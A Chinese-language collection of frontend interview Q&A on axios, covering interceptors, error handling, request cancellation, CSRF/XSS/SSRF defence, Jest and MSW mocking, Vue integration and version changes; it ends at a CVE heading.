服务端5月30日 00:10
如何在 axios 中实现请求和响应拦截器?Axios 拦截器就是请求发出前、响应返回后统一插一层处理逻辑。请求拦截器常用来加 token、加请求 ID、处理 loading;响应拦截器常用来拆 `data`、统一处理业务错误、401 登录失效和网络异常。项目里一般不要直接改全局 axios,而是 `axios.create()` 建实例,再给实例挂拦截器,避免多个后端服务互相污染配置。
## 追问
### 请求拦截器和响应拦截器分别适合做什么?
请求拦截器改 `config`,比如加 `Authorization`、`baseURL`、防缓存参数。响应拦截器处理 `response` 或 `error`,比如把 `{ code, data, message }` 统一拆成 `data` 返回。
### 多个拦截器的执行顺序是什么?
请求拦截器后添加的先执行,响应拦截器先添加的先执行。排查问题时要注意顺序,否则 token 还没加上,请求日志就已经打印了旧配置。
### loading 为什么不能简单请求开始显示、结束隐藏?
并发请求会出问题。第一个请求结束就隐藏 loading,但其他请求还没回来。常见做法是维护计数器,请求加一,响应或错误减一,减到 0 再隐藏。
### 什么时候要移除拦截器?
临时调试、微前端子应用卸载、某个页面单独加拦截逻辑时要 `eject`,否则重复注册会导致同一个错误提示弹很多次。
## 写段代码
```javascript
const api = axios.create({ baseURL: '/api', timeout: 10000 });
api.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) config.headers.Authorization = `Bearer ${token}`;
return config;
});
api.interceptors.response.use(
res => res.data,
err => Promise.reject(err.response?.data || err)
);
```标签
Axios
Axios 是一个基于 Promise 的 JavaScript HTTP 客户端,可在前端应用程序和 Node.js 后端中使用。

服务端5月30日 00:10
axios 中如何进行错误处理?有哪些常见错误类型?Axios 错误处理先看三类:`error.response` 表示服务端返回了非 2xx 状态码,重点处理 400、401、403、404、5xx;`error.request` 表示请求发出但没收到响应,多半是网络、超时、CORS;两者都没有通常是请求配置写错。实际项目里建议:业务层只处理当前页面关心的错误,全局拦截器统一做登录失效、错误提示、日志和重试。
## 追问
### error.response 和 error.request 有什么区别?
`response` 说明后端有响应,只是状态码失败;`request` 说明请求发出去了但没有拿到响应。前者看 `status` 和 `data.message`,后者看 `code`,比如 `ECONNABORTED` 或 `ERR_NETWORK`。
### 401 应该在每个接口里处理吗?
不要。401 属于全局认证问题,放响应拦截器里统一清 token、跳登录页或刷新 token。页面里只关心业务错误,比如表单校验失败。
### 超时和 5xx 要不要自动重试?
可以,但只重试幂等请求,比如 GET。POST、支付、下单这类接口不能盲目重试,否则可能造成重复提交。
### 实际项目里最容易踩什么坑?
拦截器里 `return Promise.reject(error)` 忘了写,外层 catch 拿不到错误;另一个坑是把所有错误都弹 toast,导致 401 跳转时还弹一堆无意义提示。
## 写段代码
```javascript
axios.interceptors.response.use(r => r.data, error => {
if (error.response) {
const { status, data } = error.response;
if (status === 401) {
localStorage.removeItem('token');
location.href = '/login';
}
return Promise.reject(new Error(data?.message || `HTTP ${status}`));
}
if (error.code === 'ECONNABORTED') {
return Promise.reject(new Error('请求超时'));
}
return Promise.reject(new Error(error.message || '网络错误'));
});
```服务端5月29日 22:54
axios 如何实现并发请求和取消请求?代码怎么写?axios 的并发和取消分别基于 **Promise.all 和 AbortController/CancelToken**。
**并发请求:** 使用 `Promise.all` 同时发起多个请求,全部成功返回结果数组,任一失败则整体失败。`axios.all` 已废弃(v0.27+),直接用 `Promise.all`。需要逐个处理结果用 `Promise.allSettled`,无论成功失败都返回每个请求的状态。
```js
// 并发请求
const [users, posts] = await Promise.all([
axios.get('/api/users'),
axios.get('/api/posts')
]);
// 容错并发
const results = await Promise.allSettled([
axios.get('/api/a'),
axios.get('/api/b')
]);
results.forEach(r => {
if (r.status === 'fulfilled') handleData(r.value.data);
});
```
**取消请求:** 新方案用 `AbortController`(v0.22+推荐),旧方案 `CancelToken` 已废弃。AbortController 是浏览器原生 API,与 fetch 通用。
```js
// AbortController 取消
const controller = new AbortController();
axios.get('/api/data', { signal: controller.signal });
// 取消
controller.abort();
// 封装自动取消:同一接口新请求自动取消旧请求
const pending = new Map();
function fetchWithCancel(url) {
pending.get(url)?.abort();
const ctrl = new AbortController();
pending.set(url, ctrl);
return axios.get(url, { signal: ctrl.signal }).finally(() => pending.delete(url));
}
```
> **追问:**
> 1. Promise.all 和 Promise.allSettled 在错误处理上的区别是什么?
> 2. 如何控制并发数量(如最多同时 3 个请求)?
> 3. 取消请求后 axios 抛出的是什么错误?如何区分取消和真正的请求失败?
> 4. 路由切换时如何批量取消未完成的请求?
> 5. CancelToken 为什么被废弃?它和 AbortController 的实现原理有什么不同?服务端5月29日 22:54
axios 文件上传下载怎么做?进度监控和 CSRF 防护如何实现?axios 的高级特性主要有 **文件上传下载、进度监控、CSRF 防护、实例封装**。
**文件上传:** 使用 FormData 构建请求体,设置 `Content-Type: multipart/form-data`(axios 自动识别 FormData 并设置)。分片上传需手动将文件切片(Blob.slice),逐片上传并在后端合并。上传示例:`const form = new FormData(); form.append('file', fileBlob); axios.post('/upload', form)`。
**文件下载:** 配置 `responseType: 'blob'` 获取二进制数据,通过 `URL.createObjectURL(blob)` 创建临时链接,触发 `<a>` 标签下载。大文件下载注意内存,可用流式处理(Node 环境)。
**进度监控:** 上传用 `onUploadProgress`,下载用 `onDownloadProgress`,回调参数包含 `loaded` 和 `total`,计算百分比:`Math.round(loaded / total * 100)`。底层基于 XMLHttpRequest 的 progress 事件,Node 环境不支持。
**CSRF 防护:** 配置 `xsrfCookieName` 和 `xsrfHeaderName`,axios 自动从 Cookie 读取 XSRF-Token 并写入请求头。后端需在登录时设置 `Set-Cookie: XSRF-TOKEN=xxx; Path=/`。
**实例封装:** `axios.create()` 创建独立实例,拥有自己的拦截器、默认配置和适配器,适合多 API 服务的项目隔离配置。
> **追问:**
> 1. 分片上传如何实现断点续传?需要后端配合什么接口?
> 2. onUploadProgress 在 Node 环境下为什么不生效?有替代方案吗?
> 3. 大文件下载如何避免浏览器内存溢出?
> 4. axios.create 创建的实例和全局 axios 对象的拦截器是共享的吗?
> 5. XSRF-Token 的 Cookie 为什么不能设 HttpOnly?这和 XSS 风险如何权衡?服务端5月29日 22:54
axios 和 fetch 有什么区别?什么时候该用 axios 而非 fetch?axios 和 fetch 的核心区别在 **错误处理、拦截器、请求取消、数据转换、兼容性** 五个方面。
**错误处理:** fetch 只有网络故障才 reject,HTTP 4xx/5xx 仍走 resolve,需手动检查 `response.ok`;axios 自动将 4xx/5xx 转为 reject,错误处理更符合直觉。
**拦截器:** axios 内建请求/响应拦截器,统一添加 Token、处理错误码;fetch 无拦截器,需手动包装或用第三方库。
**请求取消:** axios 支持 CancelToken 和 AbortController;fetch 只支持 AbortController。axios 的超时配置(timeout)是内建的,fetch 需自己用 AbortController + setTimeout 实现。
**数据转换:** axios 自动 JSON 转换(请求时 stringify、响应时 parse);fetch 需手动调用 `response.json()`。axios 自动处理 URL 编码和 FormData。
**兼容性:** fetch 是浏览器原生 API,无依赖;axios 约 13KB gzipped。fetch 在旧浏览器需 polyfill(如 whatwg-fetch)。
**选 axios 的场景:** 需要拦截器、自动错误处理、超时控制、请求/响应转换、取消请求。**选 fetch 的场景:** 追求零依赖、简单请求、Service Worker 中使用、项目已在用 SWR/React Query 等上层库。
> **追问:**
> 1. fetch 的 `credentials: 'include'` 和 axios 的 `withCredentials: true` 行为是否一致?
> 2. fetch 如何实现和 axios 拦截器类似的功能?
> 3. 在 Service Worker 中为什么推荐用 fetch 而非 axios?
> 4. axios 的响应拦截器能拿到原始的 Response 对象吗?
> 5. React Query 或 SWR 底层用的是 axios 还是 fetch?能切换吗?服务端5月29日 22:54
axios 性能优化有哪些技巧?如何减少冗余请求?axios 性能优化围绕 **请求去重、缓存、并发控制、体积优化** 四个维度。
**请求去重:** 对同一接口的并发请求做合并,避免重复发送。实现方式:在请求拦截器中用 URL+参数生成 key,维护一个 Map 记录正在进行的请求,相同 key 的请求复用同一个 Promise,响应后删除 key。也叫"请求锁"或"请求合并"。
**请求缓存:** 对不常变的数据(配置信息、字典表)做本地缓存。在响应拦截器中按 URL+参数缓存响应,设置 TTL 过期。也可用 HTTP 缓存头(Cache-Control、ETag)配合浏览器缓存,axios 的 `adapter` 可实现自定义缓存适配器。
**并发控制:** 使用 `Promise.all` 并发请求提升加载速度;对大量并发用并发池控制(如 p-limit),避免浏览器同域 6 连接限制导致的排队。批量接口优先用后端聚合 API,减少请求次数。
**体积优化:** 开启 gzip 压缩(服务端配置);请求参数精简,只传必要字段;响应数据按需获取(分页、字段过滤);大文件上传用分片上传减少超时风险。
> **追问:**
> 1. 请求去重的 Map 在请求失败时如何清理?避免后续请求被阻塞?
> 2. 自定义缓存 adapter 如何处理 POST 请求的缓存策略?
> 3. 浏览器同域并发连接限制对 axios 有什么影响?如何绕过?
> 4. 如何实现 axios 请求的优先级队列?
> 5. 分片上传的断点续传如何在 axios 中实现?服务端5月29日 22:54
axios 存在哪些安全风险?如何防范 XSS 和 CSRF 攻击?axios 的安全风险集中在 **CSRF、XSS、敏感数据泄露、SSRF** 四个方面。
**CSRF 防护:** axios 内置 CSRF 防护,通过 `xsrfCookieName` 和 `xsrfHeaderName` 配置自动从 Cookie 读取 Token 并附加到请求头。后端需设置 `Set-Cookie: XSRF-TOKEN=xxx`,前端配置 `axios.defaults.xsrfCookieName = 'XSRF-TOKEN'`。对于 SameSite Cookie 策略,建议后端设置 `SameSite=Strict` 或 `Lax` 作为双重保障。
**XSS 防护:** axios 本身不执行 HTML,但返回数据若直接插入 DOM(如 v-html、dangerouslySetInnerHTML)会导致 XSS。必须对响应数据做转义,或使用 DOMPurify 净化。另外避免在 URL 参数中拼接用户输入,防止反射型 XSS。
**敏感数据泄露:** Token 不要存 localStorage(XSS 可读取),优先存 HttpOnly Cookie;请求拦截器中不要把 Token 打印到日志;响应拦截器中敏感字段(密码、密钥)应在日志中脱敏。
**SSRF 防护:** 服务端使用 axios 时,若 URL 来自用户输入,需校验目标地址,禁止请求内网 IP(127.0.0.1、10.x.x.x、192.168.x.x),使用白名单域名策略。
> **追问:**
> 1. axios 的 XSRF 防护机制在前后端分离架构下如何实现?
> 2. SameSite Cookie 的 Strict 和 Lax 模式对 CSRF 防护有什么影响?
> 3. HttpOnly Cookie 方案在跨域场景下如何配置 CORS?
> 4. 如何对 axios 响应数据做自动化脱敏?
> 5. SSRF 攻击中如何绕过 IP 黑名单?白名单方案怎么设计?服务端5月29日 22:54
axios 代码怎么做单元测试?Mock 请求的常用方案有哪些?测试 axios 代码的核心是 **隔离网络请求**,常用方案有三种:axios-mock-adapter、jest.mock + msw。
**axios-mock-adapter:** 直接拦截 axios 实例的请求,按 URL 和方法注册 mock 响应。适合纯 axios 项目,API 直观。示例:`mock.onGet('/api/user').reply(200, { name: 'test' })`。可模拟超时、网络错误、指定状态码。缺点是绑定了 axios 实例,切换请求库需重写 mock。
**jest.mock('axios'):** 直接 mock axios 模块,控制 `axios.get/post` 等方法的返回值。适合快速编写测试,`jest.mock('axios')` 后用 `axios.get.mockResolvedValue()` 设定返回。优点是零依赖,缺点是绕过了拦截器逻辑,无法测试中间件行为。
**MSW(Mock Service Worker):** 在 Service Worker 层拦截请求,不依赖任何 HTTP 库。最接近真实网络行为,可共享给集成测试和 E2E。通过 handler 匹配请求并返回 mock 数据。推荐用于新项目。
**选型建议:** 项目只用 axios → axios-mock-adapter;需要快速单元测试 → jest.mock;多请求库或需要更真实模拟 → MSW。
> **追问:**
> 1. jest.mock 和 jest.spyOn 在 mock axios 时有什么区别?
> 2. 如何测试请求拦截器中的 Token 注入逻辑?
> 3. MSW 的 Service Worker 在 Node 环境下如何工作?
> 4. 如何模拟 axios 的网络超时和 5xx 错误场景?
> 5. axios-mock-adapter 能否模拟请求进度(onUploadProgress)?服务端5月29日 22:54
axios 底层是怎么实现的?核心架构和请求流程是怎样的?axios 本质是 **请求/响应拦截器管道 + 适配器模式**,核心流程为:配置合并 → 请求拦截器 → 分发请求 → 响应拦截器 → 返回结果。
**适配器模式:** axios 不直接发请求,而是通过 adapter 抽象层。浏览器环境用 `xhr.js`(基于 XMLHttpRequest),Node 环境用 `http.js`(基于 Node 的 http/https 模块)。通过 `adapter` 配置项可自定义适配器,这是 axios 跨平台的关键。
**拦截器机制:** 维护两个链式数组 `request interceptors` 和 `response interceptors`,每个拦截器有 fulfilled 和 rejected 两个回调。请求时将配置、拦截器和 adapter 按 Promise 链顺序串联执行,形成 `[req1 → req2 → ... → adapter → ... → res2 → res1]` 的管道。
**配置合并策略:** 三层配置合并——默认配置(defaults)→ 实例配置(instance.defaults)→ 请求配置(请求参数),通过 `mergeConfig` 按策略合并,headers 单独处理。
**请求流程:** `axios.request()` 是统一入口,其他方法(get/post 等)最终都调用 request。内部创建 Promise 链,将拦截器成对插入链的两端,adapter 在链中间执行实际请求,支持取消(CancelToken)和超时控制。
> **追问:**
> 1. 拦截器的执行顺序是什么?请求拦截器和响应拦截器分别是正序还是逆序?
> 2. 如何自定义 adapter 实现 Mock 数据或缓存层?
> 3. CancelToken 基于什么原理实现的?为什么新增 AbortController 方案?
> 4. mergeConfig 对不同类型的配置项(如 headers、transformRequest)采用了什么合并策略?
> 5. axios 的 Promise 链如果中间某个拦截器抛异常,后续拦截器还能执行吗?服务端5月29日 01:38
axios 和 fetch 有什么区别?什么时候该用 axios?axios 是基于 Promise 的 HTTP 客户端,相比原生 fetch 的核心优势在于:请求/响应拦截器(统一添加 token、错误处理)、自动 JSON 转换(fetch 需手动 .json())、请求超时配置(fetch 需封装 AbortController+setTimeout)、上传进度监控、XSRF 防护,以及 4xx/5xx 自动 reject(fetch 只在网络故障时才 reject)。但 fetch 是浏览器原生 API,零体积开销,且正逐步补齐能力(AbortController 已支持取消)。
## 追问
**axios 的拦截器机制是怎么实现的?**
内部维护请求和响应两个拦截器数组(数组链),发送请求时按序执行请求拦截器,收到响应后按序执行响应拦截器,本质是 Promise 链式调用。
**fetch 如何实现请求超时?**
用 AbortController 创建 signal,配合 setTimeout 调用 controller.abort(),fetch 接收 signal 参数,超时后抛出 AbortError。axios 直接配置 timeout 字段即可。
**axios 在浏览器和 Node.js 端分别用什么发送请求?**
浏览器端基于 XMLHttpRequest,Node.js 端基于 http/https 模块,通过适配器模式统一 API。fetch 在 Node 18+ 才原生支持。
**axios 如何实现 XSRF 防护?**
读取指定 cookie(默认 XSRF-TOKEN)的值,自动写入请求头(默认 X-XSRF-TOKEN),配合后端双重 cookie 验证机制防跨站请求伪造。
## 写段代码
```javascript
const instance = axios.create({
baseURL: '/api',
timeout: 5000,
});
instance.interceptors.request.use(cfg => {
cfg.headers.Authorization = `Bearer ${token}`;
return cfg;
});
instance.interceptors.response.use(
res => res.data,
err => { if (err.response?.status === 401) redirectToLogin(); }
);
```前端5月28日 06:59
如何在 Jest 中 Mock fetch 和 Axios 测试 API 调用?## 核心思路
测试 API 调用的关键原则是**隔离外部依赖**——不发出真实网络请求,用 Mock 替代,验证的是"你的代码如何调用 API、如何处理响应",而非 API 本身的行为。
Jest 提供了三种主要 Mock 手段:`jest.mock()` 模块级替换、`jest.spyOn()` 方法级监听、`jest.fn()` 手动创建假函数。理解三者的区别和适用场景,是这道题的答题主线。
## Mock Axios 的两种方式
### 方式一:jest.mock() 替换整个模块
`jest.mock('axios')` 会将 axios 模块中所有导出替换为 jest.fn(),适合需要完全控制模块行为的场景:
```javascript
import axios from 'axios';
import { getUser } from './api';
jest.mock('axios');
test('getUser 应返回用户数据', async () => {
const mockData = { id: 1, name: 'Tom' };
axios.get.mockResolvedValue({ data: mockData });
const result = await getUser(1);
expect(result).toEqual(mockData);
expect(axios.get).toHaveBeenCalledWith('/users/1');
});
```
`mockResolvedValue` 让 `axios.get` 返回一个 resolved Promise,模拟成功响应。`toHaveBeenCalledWith` 断言调用参数,确保请求地址正确。
### 方式二:jest.spyOn() 监听原方法
`jest.spyOn` 不替换模块,而是包装原方法,可以追踪调用并控制返回值,还能通过 `mockRestore()` 恢复原实现:
```javascript
import axios from 'axios';
import { getUser } from './api';
test('getUser 应返回用户数据', async () => {
const spy = jest.spyOn(axios, 'get').mockResolvedValue({ data: { id: 1, name: 'Tom' } });
const result = await getUser(1);
expect(result).toEqual({ id: 1, name: 'Tom' });
spy.mockRestore(); // 恢复 axios.get 原实现
});
```
**何时选哪个?** `jest.mock()` 适合整个测试文件都需要 mock 的场景;`jest.spyOn()` 适合只想在单个测试中临时 mock、其余测试保留真实行为的场景。
## Mock fetch 的两种方式
### 方式一:jest.fn() 替换全局 fetch
fetch 是全局对象上的方法,直接赋值即可替换:
```javascript
import { fetchPosts } from './api';
beforeEach(() => {
global.fetch = jest.fn(() =>
Promise.resolve({
ok: true,
json: () => Promise.resolve([{ id: 1, title: 'Hello' }]),
})
);
});
afterEach(() => {
jest.restoreAllMocks();
});
test('fetchPosts 应返回帖子列表', async () => {
const posts = await fetchPosts();
expect(posts).toEqual([{ id: 1, title: 'Hello' }]);
expect(global.fetch).toHaveBeenCalledWith('/api/posts');
});
```
这里用 `beforeEach` / `afterEach` 管理 Mock 生命周期,避免测试间互相污染——这是面试中经常追问的考点。
### 方式二:jest.spyOn() 监听全局 fetch
```javascript
test('fetchPosts 处理响应数据', async () => {
jest.spyOn(global, 'fetch').mockResolvedValue({
ok: true,
json: () => Promise.resolve([{ id: 1 }]),
});
const posts = await fetchPosts();
expect(posts).toEqual([{ id: 1 }]);
});
```
## 测试错误场景
只测成功路径是不够的,面试官一定会问"网络请求失败了怎么办":
```javascript
test('getUser 应抛出网络错误', async () => {
axios.get.mockRejectedValue(new Error('Network Error'));
await expect(getUser(1)).rejects.toThrow('Network Error');
});
test('getUser 应处理 404 响应', async () => {
axios.get.mockRejectedValue({
response: { status: 404, data: { message: 'Not Found' } },
});
await expect(getUser(999)).rejects.toMatchObject({
response: { status: 404 },
});
});
```
`mockRejectedValue` 模拟 Promise reject,覆盖网络异常和服务端错误两种情况。
## 使用 MSW 做更真实的拦截
当项目有大量 API 需要测试时,逐个 `jest.mock` 维护成本高。MSW(Mock Service Worker)在网络层拦截请求,不需要修改业务代码:
```javascript
import { rest } from 'msw';
import { setupServer } from 'msw/node';
const server = setupServer(
rest.get('/api/users/:id', (req, res, ctx) => {
return res(ctx.json({ id: req.params.id, name: 'Tom' }));
})
);
beforeAll(() => server.listen());
afterEach(() => server.resetHandlers());
afterAll(() => server.close());
test('getUser 通过 MSW 返回数据', async () => {
const user = await getUser(1);
expect(user).toEqual({ id: '1', name: 'Tom' });
});
```
MSW 的优势:可以在运行时动态修改响应(`server.use()`),测试超时、限流等边界场景;同一套 handler 可复用于单元测试和集成测试。
## 关键差异速查
| 场景 | 推荐方案 | 原因 |
|------|---------|------|
| Mock 整个第三方库 | `jest.mock()` | 一键替换所有导出 |
| 单个测试临时 Mock | `jest.spyOn()` | 可恢复,不影响其他测试 |
| Mock 全局 API(fetch) | `jest.fn()` / `spyOn` | fetch 是全局变量,需手动处理 |
| 大量 API 集成测试 | MSW | 网络层拦截,维护成本低 |
## 面试追问方向
- **jest.mock 和 jest.spyOn 的本质区别?** mock 是替换,spyOn 是包装。mock 后原实现丢失,spyOn 可恢复。
- **为什么要避免测试中发出真实请求?** 网络不稳定、速度慢、可能产生脏数据、依赖外部服务可用性。
- **Mock 污染怎么解决?** beforeEach 重置、afterEach 调用 `jest.restoreAllMocks()`、每个测试独立设置数据。
- **如何测试请求重试逻辑?** 用 `mockRejectedValueOnce` 连续返回失败,最后一次返回成功,模拟重试后恢复。服务端5月28日 01:48
Vue 项目中如何正确使用 axios?从基础封装到 Vue 3 组合式 API 的完整实践在 Vue 项目中使用 axios 不是简单地调用接口,而是要围绕 Vue 的响应式系统和生命周期做正确的事——请求取消、加载状态、错误处理、逻辑复用,每一环都影响工程质量。下面从面试最常问的封装方式出发,逐步走到 Vue 3 组合式 API 的最佳实践。
## 为什么需要封装 axios?
直接在每个组件里 `import axios` 发请求,看似简单,实则埋下三个隐患:配置散落各处难以统一修改、错误处理逻辑重复书写、换 HTTP 库时要改遍整个项目。封装的核心目的是**收拢变化点**,让业务代码只关心"调哪个接口、传什么参数"。
## 基础封装:创建请求实例
### 拦截器处理通用逻辑
```javascript
// utils/request.js
import axios from 'axios'
import { ElMessage } from 'element-plus'
const service = axios.create({
baseURL: import.meta.env.VITE_API_BASE_URL,
timeout: 15000,
headers: { 'Content-Type': 'application/json' }
})
// 请求拦截:注入 token、防缓存
service.interceptors.request.use(config => {
const token = localStorage.getItem('token')
if (token) {
config.headers.Authorization = `Bearer ${token}`
}
if (config.method === 'get') {
config.params = { ...config.params, _t: Date.now() }
}
return config
})
// 响应拦截:统一错误处理
service.interceptors.response.use(
response => {
const res = response.data
if (res.code !== 200) {
ElMessage.error(res.message || '请求失败')
return Promise.reject(new Error(res.message))
}
return res.data
},
error => {
if (error.response) {
const { status } = error.response
if (status === 401) {
ElMessage.error('登录已过期')
localStorage.removeItem('token')
window.location.href = '/login'
} else if (status === 403) {
ElMessage.error('没有权限')
} else if (status === 500) {
ElMessage.error('服务器错误')
}
} else {
ElMessage.error('网络异常,请检查连接')
}
return Promise.reject(error)
}
)
export default service
```
拦截器要遵循一个原则:**只处理通用逻辑,业务特殊逻辑留在调用方**。比如某些接口 401 不需要跳登录页,应该让调用方自己处理,拦截器可以通过 `config._skipAuthRedirect` 这样的标记来跳过。
### 按模块组织 API 函数
```javascript
// api/user.js
import request from '@/utils/request'
export const userApi = {
getInfo: () => request.get('/user/info'),
updateInfo: data => request.put('/user/info', data),
uploadAvatar: file => {
const formData = new FormData()
formData.append('file', file)
return request.post('/user/avatar', formData, {
headers: { 'Content-Type': 'multipart/form-data' }
})
}
}
// api/article.js
export const articleApi = {
getList: params => request.get('/articles', { params }),
getDetail: id => request.get(`/articles/${id}`),
create: data => request.post('/articles', data)
}
```
API 函数层的作用是**把 URL 和参数格式从组件中剥离**,组件只调函数,不关心路径和字段名。后续接口变更只改这一层。
## Vue 3 组合式 API 中使用 axios
### 基本用法与请求取消
Vue 3 组件中发请求,必须处理两件事:**加载状态**和**组件卸载时取消请求**。不取消请求会导致卸载后 setState 报错,或者数据错乱。
```vue
<script setup>
import { ref, onMounted, onUnmounted } from 'vue'
import { userApi } from '@/api/user'
const user = ref(null)
const loading = ref(false)
const error = ref(null)
let controller = null
const fetchUser = async () => {
if (controller) controller.abort()
controller = new AbortController()
loading.value = true
error.value = null
try {
user.value = await userApi.getInfo({ signal: controller.signal })
} catch (err) {
if (err.name !== 'AbortError') {
error.value = err.message
}
} finally {
loading.value = false
}
}
onMounted(fetchUser)
onUnmounted(() => controller?.abort())
</script>
```
关键点:用 `AbortController` 代替已废弃的 `CancelToken`,每次请求前取消上一次未完成的请求,`onUnmounted` 里再兜底一次。
### 封装通用 Composable
每个组件都写一遍 loading/error/cancel 逻辑显然不现实,抽成可复用的组合函数:
```javascript
// composables/useRequest.js
import { ref, onUnmounted } from 'vue'
export function useRequest(apiFn, options = {}) {
const { immediate = false } = options
const data = ref(null)
const loading = ref(false)
const error = ref(null)
let controller = null
const execute = async (...params) => {
if (controller) controller.abort()
controller = new AbortController()
loading.value = true
error.value = null
try {
data.value = await apiFn(...params, { signal: controller.signal })
return data.value
} catch (err) {
if (err.name !== 'AbortError') {
error.value = err
throw err
}
} finally {
loading.value = false
}
}
onUnmounted(() => controller?.abort())
if (immediate) execute()
return { data, loading, error, execute }
}
```
组件中使用变得极简:
```vue
<script setup>
import { useRequest } from '@/composables/useRequest'
import { userApi } from '@/api/user'
const { data: user, loading, error, execute: refresh } = useRequest(
userApi.getInfo,
{ immediate: true }
)
</script>
```
### 结合 Pinia 管理全局状态
当多个组件需要共享同一份接口数据时(比如用户信息),Composable 就不够用了,应该用 Pinia:
```javascript
// stores/user.js
import { defineStore } from 'pinia'
import { ref, computed } from 'vue'
import { userApi } from '@/api/user'
export const useUserStore = defineStore('user', () => {
const userInfo = ref(null)
const loading = ref(false)
const isLoggedIn = computed(() => !!userInfo.value)
const fetchUserInfo = async () => {
loading.value = true
try {
userInfo.value = await userApi.getInfo()
} finally {
loading.value = false
}
}
const logout = () => {
userInfo.value = null
localStorage.removeItem('token')
}
return { userInfo, loading, isLoggedIn, fetchUserInfo, logout }
})
```
选择 Composable 还是 Pinia 的判断标准:**数据是否跨组件共享**。只在一个组件内用,Composable 足够;多个组件都要读同一份数据,用 Pinia。
## 进阶:重试与请求防抖
### 自动重试机制
网络波动导致的偶发失败,自动重试比直接报错体验好得多:
```javascript
// utils/retry.js
export function withRetry(requestFn, retries = 2, delay = 1000) {
return async (...args) => {
let lastError
for (let i = 0; i <= retries; i++) {
try {
return await requestFn(...args)
} catch (err) {
lastError = err
if (i < retries) {
await new Promise(resolve => setTimeout(resolve, delay * (i + 1)))
}
}
}
throw lastError
}
}
// 使用
const fetchWithRetry = withRetry(userApi.getInfo, 2, 800)
```
### 搜索防抖
搜索场景下,用户每输入一个字符就发请求既浪费又卡顿,必须防抖:
```javascript
// composables/useDebouncedRequest.js
import { ref, watch } from 'vue'
export function useDebouncedRequest(apiFn, wait = 400) {
const loading = ref(false)
let timer = null
const execute = (keyword) => {
clearTimeout(timer)
return new Promise((resolve, reject) => {
timer = setTimeout(async () => {
loading.value = true
try {
resolve(await apiFn(keyword))
} catch (err) {
reject(err)
} finally {
loading.value = false
}
}, wait)
})
}
return { execute, loading }
}
```
## Vue 2 项目中的注意事项
Vue 2 没有组合式 API,但有相同的诉求。核心差异两点:
1. **请求取消用 `CancelToken`**(Vue 2 项目通常用旧版 axios),在 `beforeDestroy` 钩子中调用 `cancel()`
2. **逻辑复用用 mixin**,但 mixin 有命名冲突风险,优先用独立的工具函数
```javascript
// Vue 2 组件内
export default {
data() {
return { user: null, loading: false }
},
created() {
this.cancelToken = axios.CancelToken.source()
this.fetchUser()
},
beforeDestroy() {
this.cancelToken.cancel('组件销毁')
},
methods: {
async fetchUser() {
this.loading = true
try {
const { data } = await userApi.getInfo({
cancelToken: this.cancelToken.token
})
this.user = data
} catch (err) {
if (!axios.isCancel(err)) console.error(err)
} finally {
this.loading = false
}
}
}
}
```
## 总结:axios 在 Vue 项目中的核心原则
回答面试题时,抓住这三条主线:**封装收拢变化**(实例、拦截器、API 模块化)、**组合式 API 复用逻辑**(Composable 抽 loading/error/cancel、Pinia 管共享状态)、**边界场景兜底**(请求取消、重试、防抖)。能讲清为什么这么做,比贴完整代码更有说服力。服务端5月28日 01:48
axios 从 0.x 到 1.x 经历了哪些重大变更?升级和兼容性问题怎么处理Axios 是前端最常用的 HTTP 客户端之一,从 2014 年发布 0.1.0 到 2026 年的 1.16.x,经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护,也是前端面试中的高频考点。
## 版本演进全景
Axios 的版本发展可以分为三个阶段:0.x 探索期(2014-2022)、1.0 稳定期(2022-2024)、安全强化期(2025-2026)。每个阶段都有影响开发者使用方式的关键变更。
### 里程碑版本速览
| 版本 | 时间 | 核心变更 |
|------|------|----------|
| 0.1.0 | 2014 | 初始发布,基于 Promise 的 HTTP 客户端 |
| 0.9.0 | 2015 | 引入拦截器机制 |
| 0.12.0 | 2016 | 添加 CancelToken 取消请求 |
| 0.16.0 | 2017 | 支持 async/await |
| 0.18.0 | 2018 | 修复 XSS 漏洞 |
| 0.19.0 | 2019 | 改进错误处理,引入 validateStatus |
| 0.21.0 | 2020 | 重大安全更新 |
| 1.0.0 | 2022 | 正式版,CancelToken 废弃,推荐 AbortController |
| 1.6.0 | 2023 | 支持 Fetch API 适配器 |
| 1.8.0 | 2025 | 引入 allowAbsoluteUrls 配置 |
| 1.13.0 | 2025 | 支持 HTTP/2 |
| 1.15.0 | 2026 | 修复多个严重安全漏洞 |
| 1.16.1 | 2026 | 支持 QUERY 方法,安全加固 |
## 0.x 时期的关键变更
### validateStatus 让错误处理更灵活(v0.19.0)
0.19.0 之前,只要服务端返回非 2xx 状态码,axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。
```javascript
// 0.19.0 之后:自定义哪些状态码才算错误
axios.get("/api/user", {
validateStatus: function (status) {
return status < 500; // 只有 500+ 才抛错
},
});
```
### TypeScript 泛型支持(v0.20.0)
0.20.0 改进了类型定义,支持泛型参数,告别了 response.data 的 any 类型。
```typescript
interface User {
id: number;
name: string;
}
// 泛型推断,response.data 类型为 User
const { data } = await axios.get<User>("/api/user");
```
## 1.0 正式版的重大变更
### CancelToken 废弃,改用 AbortController
这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制,而 AbortController 是 Web 标准API,两者在用法和语义上完全不同。
```javascript
// 旧写法(已废弃)
const source = axios.CancelToken.source();
axios.get("/api/data", { cancelToken: source.token });
source.cancel("取消请求");
// 新写法(推荐)
const controller = new AbortController();
axios.get("/api/data", { signal: controller.signal });
controller.abort("取消请求");
```
迁移时需要注意两点:abort() 调用后 signal 不可复用,需要新建 AbortController;cancel() 的错误对象是 CancelError,而 abort() 抛出的是 DOMException。
### 请求参数序列化行为变更
1.x 对 URL 参数的序列化规则做了调整:null 值序列化为空字符串,undefined 值直接忽略,嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式,升级后可能出现参数丢失。
```javascript
// 1.x 的序列化结果
// { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1
```
### Fetch API 适配器(v1.6.0)
1.6.0 引入了 Fetch API 适配器,让 axios 可以基于浏览器原生 fetch 运行,不再依赖 XMLHttpRequest。
```javascript
// 使用 fetch 适配器
const instance = axios.create({ adapter: "fetch" });
// 条件选择适配器
const instance = axios.create({
adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr",
});
```
## 2025-2026 安全修复风暴
2025 年以来 axios 集中修复了多个高危安全漏洞,这些 CVE 直接影响线上项目的安全性,是面试中区分深度的关键知识点。
### CVE-2025-27152:绝对 URL 导致 SSRF 和凭证泄露
